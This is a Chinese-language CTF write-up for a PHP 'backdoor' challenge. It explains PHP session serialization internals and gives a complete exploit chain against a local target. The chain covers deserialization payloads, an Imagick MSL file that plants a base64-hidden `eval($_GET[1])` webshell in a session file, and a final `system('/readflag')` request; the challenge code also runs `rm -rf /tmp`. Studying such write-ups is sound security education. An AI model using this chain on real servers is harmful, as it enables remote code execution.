Backdoor

首页给了源码

<?php
error_reporting(E_ERROR);
class backdoor {
    public $path = null;
    public $argv = null;
    public $class = "stdclass";
    public $do_exec_func = true;
    
    public function __sleep() {
        if (file_exists($this->path)) {
            return include $this->path;
        } else {
            throw new Exception("__sleep failed...");
        }
    }

    public function __wakeup() {
            if (
                $this->do_exec_func && 
                in_array($this->class, get_defined_functions()["internal"])
            ) {
                    call_user_func($this->class);
            } else {
                $argv = $this->argv;
                $class = $this->class;
                
                new $class($argv); // 没有echo
            }
    }
}


$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
    case 'unserialze':
        unserialize($data);
        break;
    
    case 'rm':
        system("rm -rf /tmp");
        break;
    
    default:
        highlight_file(__FILE__);
        break;
}

阅读代码,存在两个魔法函数:

  • __sleep(),执行serialize()时,先会调用这个函数。这里可以实现任意文件包含。

  • __wakeup(),执行unserialize()时,先会调用这个函数。这里可以执行一次无参函数结构。

对于__sleep__来说,如果我们能够包含临时文件或者session即可rce。所以我们需要考虑如何触发__sleep__函数,审计php内核源码,跟一下序列化的流程:

PHP_FUNCTION(serialize)
{
	zval *struc;	// 定义一个zval类型的结构体指针
	php_serialize_data_t var_hash;   // 定义一个hash变量
	smart_str buf = {0}; //初始化一个柔性数组,用于存储序列化完成后的字符串

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_ZVAL(struc)
	ZEND_PARSE_PARAMETERS_END(); //检测serialize参数个数

	PHP_VAR_SERIALIZE_INIT(var_hash);
	php_var_serialize(&buf, struc, &var_hash); //主处理函数
	PHP_VAR_SERIALIZE_DESTROY(var_hash);

	if (EG(exception)) {
		smart_str_free(&buf);
		RETURN_FALSE;
	}

	if (buf.s) {
		RETURN_NEW_STR(buf.s);
	} else {
		RETURN_NULL();
	}
}

主处理函数为php_var_serialize,全局搜索

PS_SERIALIZER_ENCODE_FUNC(php) /* {{{ */
{
	smart_str buf = {0};
	php_serialize_data_t var_hash;
	PS_ENCODE_VARS;

	PHP_VAR_SERIALIZE_INIT(var_hash);

	PS_ENCODE_LOOP(
		smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key));
		if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
			PHP_VAR_SERIALIZE_DESTROY(var_hash);
			smart_str_free(&buf);
			return NULL;
		}
		smart_str_appendc(&buf, PS_DELIMITER);
		php_var_serialize(&buf, struc, &var_hash);
	);

	smart_str_0(&buf);

	PHP_VAR_SERIALIZE_DESTROY(var_hash);
	return buf.s;
}

在session中存在序列化操作,而再跟进一下我们可以发现一个函数PHP_FUNCTION(session_start),他是session_start的底层实现,用于开启或者重用现有的会话。在初始化过程中将读取名为PHPSESSID的cookie,若读取到,则创建$_SESSION变量,并从相应的目录中读取sess_PHPSESSID(默认是这种命名方式)文件,将字符装在入$_SESSION变量中。当PHP停止运行时,它会自动读取$SESSION中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。

简单看一下:

image-20220905202336541

PHP_FUNCTION(session_start)最后调用php_session_flush

PHPAPI int php_session_flush(int write) /* {{{ */
{
	if (PS(session_status) == php_session_active) {
		php_session_save_current_state(write);
		PS(session_status) = php_session_none;
		return SUCCESS;
	}
	return FAILURE;
}

跟进php_session_save_current_state

static void php_session_save_current_state(int write) /* {{{ */
{
	int ret = FAILURE;

	if (write) {
		IF_SESSION_VARS() {
			if (PS(mod_data) || PS(mod_user_implemented)) {
				zend_string *val;

				val = php_session_encode();

跟进php_session_encode

static zend_string *php_session_encode(void) /* {{{ */
{
	IF_SESSION_VARS() {
		if (!PS(serializer)) {
			php_error_docref(NULL, E_WARNING, "Unknown session.serialize_handler. Failed to encode session object");
			return NULL;
		}
		return PS(serializer)->encode();
	} else {
		php_error_docref(NULL, E_WARNING, "Cannot encode non-existent session");
	}
	return NULL;
}

这里根据设置的session.serialize_handler来进行序列化数据。那么目前的思路就有了,我们能够通过回调函数调用session_start,这里会触发序列化操作,如果我们能够控制session内容,那么就可以触发__sleep函数进行文件包含达成rce。接下来的目标则是想办法控制session内容。

对于__wakeup__来说,我们可以执行一次php内部类,那么我们可以利用此来探测信息

构造反序列化payload查看phpinfo

<?php
class backdoor {
    public $path = null;
    public $argv = null;
    public $class = "phpinfo";
    public $do_exec_func = true;

}

$data = new backdoor();
echo serialize($data);
image-20220905202910079

发现imagick拓展,想起之前看过的文章exploiting-arbitrary-object-instantiations,文章讲述了针对以下结构的php代码的一种攻击方法

new $_GET['a']($_GET['b']);

再查看一下__wakeup方法

 public function __wakeup() {
            if (
                $this->do_exec_func && 
                in_array($this->class, get_defined_functions()["internal"])
            ) {
                    call_user_func($this->class);
            } else {
                $argv = $this->argv;
                $class = $this->class;
                
                new $class($argv); 
            }
    }

一方面题目给了同类型代码,另一方面题目限制了通过内置类的利用,显然我们需要利用magick的特性进行攻击

imagick类在初始化时可以执行Magick Scripting Language。那么考虑用其特性,在临时文件中写入Magick Scripting Language,然后在imagick类初始化的时候执行临时文件写入session文件。再触发__sleep包含session文件以RCE

写入文件时须注意以下几点:

  1. 因为imagick对文件格式解析较严,需要写入的文件必须是其支持的图片格式,如jpg、gif、ico等。如果直接插入session数据,会导致解析图片错误,导致文件无法写入。
  2. phpsession的格式解析也较为严格。数据尾不可以存在脏数据,否则session解析错误会无法触发__sleep

所以我们需要找到一个容许在末尾添加脏数据,且脏数据不会被imagick抹去的图片格式。imagick共支持几十种图片格式,

题目提示可以使用ppm格式,其不像其他图片格式存在crc校验或者在文件末尾存在magic头。结构十分简单,可以进行利用。

首先利用网站提供的功能,删除/tmp下的文件。

http://127.0.0.1:9999/?cmd=rm

接下来发包写入session

构造反序列化数据

<?php
class backdoor {
    public $path = null;
    public $argv = "vid:msl:/tmp/php*";
    public $class = "imagick";
    public $do_exec_func = false;

}

$data = new backdoor();
echo serialize($data);

发包

POST /?data=O%3A8%3A%22backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp*%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A0%3B%7D&cmd=unserialze HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
Content-Length: 703
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
 <write filename="/tmp/sess_snakin" />
</image>
--------------------------c32aaddf3d8fd979--

随后使用执行一次任意无参函数的功能,触发session_start函数,并设置cookiePHPSESSID=snakin,即可文件包含session,成功RCEflag执行根目录的readflag即可。

GET /?data=O%3A8%3A%22backdoor%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22session_start%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A1%3B%7D&cmd=unserialze&1=system('/readflag'); HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
Cookie: PHPSESSID=snakin

参考:

https://www.cnblogs.com/ohmygirl/p/internal-5.html

https://mp.weixin.qq.com/s/RL8_kDoHcZoED1G_BBxlWw

https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md